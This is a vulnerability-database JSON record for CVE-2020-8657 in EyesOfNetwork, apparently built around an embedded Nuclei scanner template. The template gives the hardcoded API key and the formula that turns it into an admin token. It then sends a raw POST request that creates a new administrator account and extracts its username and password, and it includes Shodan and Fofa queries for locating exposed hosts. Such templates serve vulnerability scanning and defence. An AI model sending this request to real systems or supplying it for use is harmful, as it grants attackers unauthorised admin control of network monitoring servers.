{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2020-8657/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2020-8657/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2020-8657/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2020-8657/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2020-8657/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2020-8657"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2020-8657"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2020/CVE-2020-8657.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2020-8657\n\ninfo:\n  name: EyesOfNetwork - Hardcoded API Key\n  author: daffainfo\n  severity: critical\n  description: |\n    An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.\n  impact: |\n    Successful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system.\n  remediation: |\n    Upgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration.\n  reference:\n    - https://www.exploit-db.com/exploits/48025\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-8657\n  classification:\n    cve-id: CVE-2020-8657\n    epss-score: 0.91874\n    epss-percentile: 0.99813\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cwe-id: CWE-798\n    cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: eyesofnetwork\n    product: eyesofnetwork\n    shodan-query: html:\"EyesOfNetwork\"\n    fofa-query: title=\"EyesOfNetwork\"\n  tags: cve,cve2020,eyesofnetwork,hardcoded-key,kev,vkev,vuln\n\nvariables:\n  key: \"€On@piK3Y\"\n  userid: \"1\"\n  username: \"{{randstr}}\"\n  password: \"{{randstr}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /eonapi/createEonUser?username=admin&apiKey={{ sha256(md5(key + userid) + Host) }} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"user_name\":\"{{username}}\",\"user_group\":\"admins\",\"user_password\":\"{{password}}\"}\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"api_version\"'\n          - \"200 OK\"\n          - \"A new user have been successfully inserted\"\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - 'application/json'\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: dsl\n        dsl:\n          - '\"Username: \" + username + \". Password: \"+ password'\n# digest: 4a0a004730450220301693ccb0f9b03d3bb8a8c000630480aacd1c2d4c405c2824d9f4c865af00290221009eef72051cbfb2489abc33a2c636a7bf969a63d6767ea12eb6b933ae1ed8af1b:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2020-8657"
}